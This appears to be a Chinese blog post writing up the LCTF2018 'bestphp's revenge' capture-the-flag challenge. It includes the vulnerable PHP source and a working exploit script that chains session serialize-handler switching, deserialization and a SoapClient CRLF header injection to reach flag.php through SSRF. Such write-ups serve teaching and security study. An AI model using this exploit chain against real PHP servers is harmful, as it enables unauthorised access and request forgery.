zoukankan      html  css  js  c++  java
  • 刷题[bestphp's revenge]

    前置知识

    1. phpsession反序列化

    2. CRLF注入

    即:利用漏洞,注入一个CRLF( )控制用户的Cookie,或者注入两个CRLF,控制返回给客户端的主体

    1. php内置SoapClient类利用

    SOAP,简单对象访问协议是交换数据的一种协议规范,是一种轻量的、简单的、基于XML(标准通用标记语言下的一个子集)的协议。

    直接看php文档手册,找到soap类

    看到此函数的别名,跳转进SoapClient::SoapClient

    第一个参数的意思是:控制是否是wsdl模式,如果为NULL,就是非wsdl模式.如果是非wsdl模式,反序列化的时候就会对options中的url进行远程soap请求,

    第二个参数的意思是:一个数组,里面是soap请求的一些参数和属性。

    解题思路

    打开发现直接以代码的方式呈现

    如果单看代码的话,这里正好开了session,其实我最先想到的是用session_id获取PHPSESSID,在PHPSESSID中传入hex的危险代码,利用回调函数成功执行,但是并没有能执行?

    大致做些常用的操作,检查有无信息泄露等,发现flag.php直接是可以访问的

    看着这个很明显的,要用ssrf了,但具体怎么用呢

    代码审计

     <?php
    highlight_file(__FILE__);
    $b = 'implode';
    call_user_func($_GET['f'], $_POST);
    session_start();
    if (isset($_GET['name'])) {
        $_SESSION['name'] = $_GET['name'];
    }
    var_dump($_SESSION);
    $a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
    call_user_func($b, $a);
    ?> 
    

    先审计一波,发现开启了会话,在php7版本中,有如下特性:

    其中有这样一句话

    PHP 7 中 session_start () 函数可以接收一个数组作为参数,可以覆盖 php.ini 中 session 的配置项。这个特性也引入了一个新的 php.ini 设置(session.lazy_write)

    那么我们就可以利用回调函数,通过给f传参,值为session_start,然后post提交array('serialize_handler'=>'php_serialize')

    即达到session_start(array('serialize_handler' => 'php_serialize')) ,将会根据php7特性设置session.serialize_handler=php_serialize

    之后发现session是可控的,可以通过传入name值,任意伪造。这里就想到name传入的是序列化值了,序列化exp

    编写exp

    <?php
    $target='http://127.0.0.1/flag.php';
    $b = new SoapClient(null,array('location' => $target,
                                   'user_agent' => "karsa
    Cookie:PHPSESSID=12649rm10rjdt2s1riquginfd2
    ",
                                   'uri' => "http://127.0.0.1/"));
    
    $se = serialize($b); 
    echo urlencode($se);
    

    为什么要加入user_agent?
    因为我们这里引入两个 ,检测到第一个 时,认为前面一个首部字段user_agent结束了,cookie会被当作下一行。检测到第二个 时结束,正好成功实现了flag的辨别操作

    此时已经有序列化内容,我们思考如何进行反序列化,通过反序列化读取

    我们目前只用了第一个回调函数,第二个回调还没用,如果这个时候我们再次传参,因为name已经国定在session中,所以再次利用回调函数,这里先传入extract(),将$b覆盖成回调函数,变成call_user_func(array('SoapClient','welcome_to_the_lctf2018')),因为SoapClient中并没有此方法,所以调用SoapClient中的__call方法

    可以看到session已经存入其中

    操作流程:

    感觉这道题含金量真的很高,对session的知识点也考的很好,这里其实我并没有理解的很深,但是明天就要去北京参加护网了,得马上收拾行李赶火车去了,博客更新也先告一段落。希望护网回来的自己更强

    冲冲冲!!!

  • 相关阅读:
    php注册、登录界面的制作
    php将表单中数据传入到数据库
    数据操作
    Hibernate入门(五)---------事务管理
    MySQL事务(学习笔记)
    Hibernate入门(四)---------一级缓存
    Hibernate入门(三)
    反射demo(拷贝一个对象)
    反射学习小结
    Hibernate入门(二)——hibernateAPI详解
  • 原文地址:https://www.cnblogs.com/karsa/p/13501927.html
Copyright © 2011-2022 走看看